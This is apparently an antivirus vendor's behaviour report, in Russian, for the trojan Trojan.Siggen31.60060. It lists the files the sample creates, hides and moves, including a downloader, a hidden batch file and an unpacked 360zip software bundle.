Trojan.Siggen31.60060

Техническая информация

Изменения в файловой системе

Создает следующие файлы

%HOMEPATH%\lgx\aria2c.exe
%HOMEPATH%\lgx\libcdix64.dll
%HOMEPATH%\lgx\nwinfox64.exe
%HOMEPATH%\lgx\pci.ids
%HOMEPATH%\lgx\1.cmd
nul
%HOMEPATH%\lgx\360zip_yqlm_363291.exe.aria2__temp
%HOMEPATH%\lgx\360zip_yqlm_363291.exe
%TEMP%\gpuinfo.txt
%TEMP%\{12411c32-a93c-473c-862a-9d2e6442c15c}.tmp
%TEMP%\{d99d3853-0089-41ff-a885-2f2b23ef1624}.tmp\7z.dll
%TEMP%\{20857b2b-0806-4f07-a7be-3830b4a0e07e}.tmp
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\defaultskin\skin.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\skin\skin1.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\skin\skin2.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\skin\skin3.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\skin\skin4.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\skin\skin5.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square150x150logo.scale-100.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-lightunplated_targetsize-16.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-lightunplated_targetsize-24.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-lightunplated_targetsize-32.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-lightunplated_targetsize-48.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-unplated_targetsize-16.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-unplated_targetsize-24.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-unplated_targetsize-32.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-unplated_targetsize-48.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\storelogo.scale-100.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\bmp.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\gif.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\iefile.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\jpg.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\none.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\png.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\psd.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\raw.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\tif.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\uninstall.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\utils\360feedback.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\config.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\defaultskin\miniui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zconfig.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zwin10styleskin\zminiui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\filechecker\zminiui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\multimedia\zminiui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zdefaultskin\zminiui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zclassic\zminiui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360ablumviewer.ini
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\dumpuper.ini
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\template\template1.rtf
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\template\template2.rtf
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\template\template3.rtf
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\template\template4.rtf
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\template\template5.rtf
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\resource.config
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\textinfo.config
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\fileassocx.dat
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\livep.dat
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\rarnew.data
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\zipnew.data
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipextpackage.msix
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\resources.pri
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\defaultskin\defaultskin.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\utils\feedback.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\filechecker\filechecker.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\multimedia\multimedia.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zclassic\zclassic.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zdefaultskin\zdefaultskin.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zwin10styleskin\zwin10styleskin.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360压缩官网.url
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360ablumviewer.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360extloader.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\utils\360feedback.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360filechecker.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\360kantu.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\utils\360screencapture.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zip.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipchrome.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipextinstaller.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipinst.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipmgrtray.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360pdfview\360zippdfview.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipsandbox.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipupdate.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\cssdk.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\dumpuper.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\liveupdate360.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\menumgr.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\multimediaopt.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\sodadownloader.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\uninstaller.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360base.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360common.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360conf.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360imagedecode.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360net.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360netbase.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360netul.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360p2sp.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360util.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360verify.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipc.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipext.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipext64.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipextw11.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zippluginmgr.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipver.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\bapi.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\cleanutils.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\cloudcom2.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\crashreport.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\cssdk.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\encodehelper.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\heavygate.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\imagehandle.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\iseeimage.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\iseeraw.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\kittip.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\libzipsandbox.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\liveupd360.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\lockkrnl.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\miniui.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\msvcp60.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360pdfview\pdfcore.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\pdown.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\safelive.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\webp.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\wicloader.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zip.sfx
%APPDATA%\360zip\360zip_config.ini

Присваивает атрибут 'скрытый' для следующих файлов

%HOMEPATH%\lgx\1.cmd

Перемещает следующие файлы

%HOMEPATH%\lgx\360zip_yqlm_363291.exe.aria2__temp в %HOMEPATH%\lgx\360zip_yqlm_363291.exe.aria2
%TEMP%\{d99d3853-0089-41ff-a885-2f2b23ef1624}.tmp\7z.dll в %TEMP%\{6bc31910-c815-40bf-97ea-602260c7438d}.tmp
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\defaultskin\skin.jpg в %ProgramFiles(x86)%\360\360zip\config\defaultskin\skin.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\skin\skin1.jpg в %ProgramFiles(x86)%\360\360zip\config\zcomment\skin\skin1.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\skin\skin2.jpg в %ProgramFiles(x86)%\360\360zip\config\zcomment\skin\skin2.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\skin\skin3.jpg в %ProgramFiles(x86)%\360\360zip\config\zcomment\skin\skin3.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\skin\skin4.jpg в %ProgramFiles(x86)%\360\360zip\config\zcomment\skin\skin4.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\skin\skin5.jpg в %ProgramFiles(x86)%\360\360zip\config\zcomment\skin\skin5.jpg
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square150x150logo.scale-100.png в %ProgramFiles(x86)%\360\360zip\assets\square150x150logo.scale-100.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-lightunplated_targetsize-16.png в %ProgramFiles(x86)%\360\360zip\assets\square44x44logo.altform-lightunplated_targetsize-16.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-lightunplated_targetsize-24.png в %ProgramFiles(x86)%\360\360zip\assets\square44x44logo.altform-lightunplated_targetsize-24.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-lightunplated_targetsize-32.png в %ProgramFiles(x86)%\360\360zip\assets\square44x44logo.altform-lightunplated_targetsize-32.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-lightunplated_targetsize-48.png в %ProgramFiles(x86)%\360\360zip\assets\square44x44logo.altform-lightunplated_targetsize-48.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-unplated_targetsize-16.png в %ProgramFiles(x86)%\360\360zip\assets\square44x44logo.altform-unplated_targetsize-16.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-unplated_targetsize-24.png в %ProgramFiles(x86)%\360\360zip\assets\square44x44logo.altform-unplated_targetsize-24.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-unplated_targetsize-32.png в %ProgramFiles(x86)%\360\360zip\assets\square44x44logo.altform-unplated_targetsize-32.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\square44x44logo.altform-unplated_targetsize-48.png в %ProgramFiles(x86)%\360\360zip\assets\square44x44logo.altform-unplated_targetsize-48.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\assets\storelogo.scale-100.png в %ProgramFiles(x86)%\360\360zip\assets\storelogo.scale-100.png
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\bmp.ico в %ProgramFiles(x86)%\360\360zip\tools\360kantu\icon\bmp.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\gif.ico в %ProgramFiles(x86)%\360\360zip\tools\360kantu\icon\gif.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\iefile.ico в %ProgramFiles(x86)%\360\360zip\iefile.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\jpg.ico в %ProgramFiles(x86)%\360\360zip\tools\360kantu\icon\jpg.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\none.ico в %ProgramFiles(x86)%\360\360zip\tools\360kantu\icon\none.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\png.ico в %ProgramFiles(x86)%\360\360zip\tools\360kantu\icon\png.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\psd.ico в %ProgramFiles(x86)%\360\360zip\tools\360kantu\icon\psd.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\raw.ico в %ProgramFiles(x86)%\360\360zip\tools\360kantu\icon\raw.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\icon\tif.ico в %ProgramFiles(x86)%\360\360zip\tools\360kantu\icon\tif.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\uninstall.ico в %ProgramFiles(x86)%\360\360zip\uninstall.ico
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\utils\360feedback.xml в %ProgramFiles(x86)%\360\360zip\utils\360feedback.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\config.xml в %ProgramFiles(x86)%\360\360zip\config\config.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\defaultskin\miniui.xml в %ProgramFiles(x86)%\360\360zip\config\defaultskin\miniui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zconfig.xml в %ProgramFiles(x86)%\360\360zip\config\zconfig.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zwin10styleskin\zminiui.xml в %ProgramFiles(x86)%\360\360zip\config\zwin10styleskin\zminiui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\filechecker\zminiui.xml в %ProgramFiles(x86)%\360\360zip\config\filechecker\zminiui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\multimedia\zminiui.xml в %ProgramFiles(x86)%\360\360zip\config\multimedia\zminiui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zdefaultskin\zminiui.xml в %ProgramFiles(x86)%\360\360zip\config\zdefaultskin\zminiui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zclassic\zminiui.xml в %ProgramFiles(x86)%\360\360zip\config\zclassic\zminiui.xml
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360ablumviewer.ini в %ProgramFiles(x86)%\360\360zip\360ablumviewer.ini
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\dumpuper.ini в %ProgramFiles(x86)%\360\360zip\dumpuper.ini
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\template\template1.rtf в %ProgramFiles(x86)%\360\360zip\config\zcomment\template\template1.rtf
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\template\template2.rtf в %ProgramFiles(x86)%\360\360zip\config\zcomment\template\template2.rtf
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\template\template3.rtf в %ProgramFiles(x86)%\360\360zip\config\zcomment\template\template3.rtf
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\template\template4.rtf в %ProgramFiles(x86)%\360\360zip\config\zcomment\template\template4.rtf
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zcomment\template\template5.rtf в %ProgramFiles(x86)%\360\360zip\config\zcomment\template\template5.rtf
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\resource.config в %ProgramFiles(x86)%\360\360zip\resource.config
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\textinfo.config в %ProgramFiles(x86)%\360\360zip\textinfo.config
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\fileassocx.dat в %ProgramFiles(x86)%\360\360zip\fileassocx.dat
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\livep.dat в %ProgramFiles(x86)%\360\360zip\livep.dat
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\rarnew.data в %ProgramFiles(x86)%\360\360zip\rarnew.data
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\zipnew.data в %ProgramFiles(x86)%\360\360zip\zipnew.data
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipextpackage.msix в %ProgramFiles(x86)%\360\360zip\360zipextpackage.msix
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\resources.pri в %ProgramFiles(x86)%\360\360zip\resources.pri
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\defaultskin\defaultskin.ui в %ProgramFiles(x86)%\360\360zip\config\defaultskin\defaultskin.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\utils\feedback.ui в %ProgramFiles(x86)%\360\360zip\utils\feedback.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\filechecker\filechecker.ui в %ProgramFiles(x86)%\360\360zip\config\filechecker\filechecker.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\multimedia\multimedia.ui в %ProgramFiles(x86)%\360\360zip\config\multimedia\multimedia.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zclassic\zclassic.ui в %ProgramFiles(x86)%\360\360zip\config\zclassic\zclassic.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zdefaultskin\zdefaultskin.ui в %ProgramFiles(x86)%\360\360zip\config\zdefaultskin\zdefaultskin.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\config\zwin10styleskin\zwin10styleskin.ui в %ProgramFiles(x86)%\360\360zip\config\zwin10styleskin\zwin10styleskin.ui
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360压缩官网.url в %ProgramFiles(x86)%\360\360zip\360压缩官网.url
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360ablumviewer.exe в %ProgramFiles(x86)%\360\360zip\360ablumviewer.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360extloader.exe в %ProgramFiles(x86)%\360\360zip\360extloader.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\utils\360feedback.exe в %ProgramFiles(x86)%\360\360zip\utils\360feedback.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360filechecker.exe в %ProgramFiles(x86)%\360\360zip\360filechecker.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360kantu\360kantu.exe в %ProgramFiles(x86)%\360\360zip\tools\360kantu\360kantu.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\utils\360screencapture.exe в %ProgramFiles(x86)%\360\360zip\utils\360screencapture.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zip.exe в %ProgramFiles(x86)%\360\360zip\360zip.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipchrome.exe в %ProgramFiles(x86)%\360\360zip\360zipchrome.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipextinstaller.exe в %ProgramFiles(x86)%\360\360zip\360zipextinstaller.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipinst.exe в %ProgramFiles(x86)%\360\360zip\360zipinst.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipmgrtray.exe в %ProgramFiles(x86)%\360\360zip\360zipmgrtray.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\tools\360pdfview\360zippdfview.exe в %ProgramFiles(x86)%\360\360zip\tools\360pdfview\360zippdfview.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipsandbox.exe в %ProgramFiles(x86)%\360\360zip\360zipsandbox.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipupdate.exe в %ProgramFiles(x86)%\360\360zip\360zipupdate.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\cssdk.exe в %ProgramFiles(x86)%\360\360zip\cssdk.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\dumpuper.exe в %ProgramFiles(x86)%\360\360zip\dumpuper.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\liveupdate360.exe в %ProgramFiles(x86)%\360\360zip\liveupdate360.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\multimediaopt.exe в %ProgramFiles(x86)%\360\360zip\multimediaopt.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\sodadownloader.exe в %ProgramFiles(x86)%\360\360zip\sodadownloader.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\uninstaller.exe в %ProgramFiles(x86)%\360\360zip\uninstaller.exe
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360base.dll в %ProgramFiles(x86)%\360\360zip\360base.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360common.dll в %ProgramFiles(x86)%\360\360zip\360common.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360conf.dll в %ProgramFiles(x86)%\360\360zip\360conf.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360imagedecode.dll в %ProgramFiles(x86)%\360\360zip\360imagedecode.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360net.dll в %ProgramFiles(x86)%\360\360zip\360net.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360netbase.dll в %ProgramFiles(x86)%\360\360zip\360netbase.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360netul.dll в %ProgramFiles(x86)%\360\360zip\360netul.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360p2sp.dll в %ProgramFiles(x86)%\360\360zip\360p2sp.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360util.dll в %ProgramFiles(x86)%\360\360zip\360util.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360verify.dll в %ProgramFiles(x86)%\360\360zip\360verify.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipc.dll в %ProgramFiles(x86)%\360\360zip\360zipc.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipext.dll в %ProgramFiles(x86)%\360\360zip\360zipext.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipext64.dll в %ProgramFiles(x86)%\360\360zip\360zipext64.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipextw11.dll в %ProgramFiles(x86)%\360\360zip\360zipextw11.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zippluginmgr.dll в %ProgramFiles(x86)%\360\360zip\360zippluginmgr.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\360zipver.dll в %ProgramFiles(x86)%\360\360zip\360zipver.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\bapi.dll в %ProgramFiles(x86)%\360\360zip\bapi.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\cleanutils.dll в %ProgramFiles(x86)%\360\360zip\cleanutils.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\cloudcom2.dll в %ProgramFiles(x86)%\360\360zip\cloudcom2.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\crashreport.dll в %ProgramFiles(x86)%\360\360zip\crashreport.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\cssdk.dll в %ProgramFiles(x86)%\360\360zip\cssdk.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\encodehelper.dll в %ProgramFiles(x86)%\360\360zip\encodehelper.dll
%TEMP%\{e2638076-58f9-4b9b-83d0-1082d798111d}.tmp\heavygate.dll в %ProgramFiles(x86)%\360\360zip\heavygate.dll
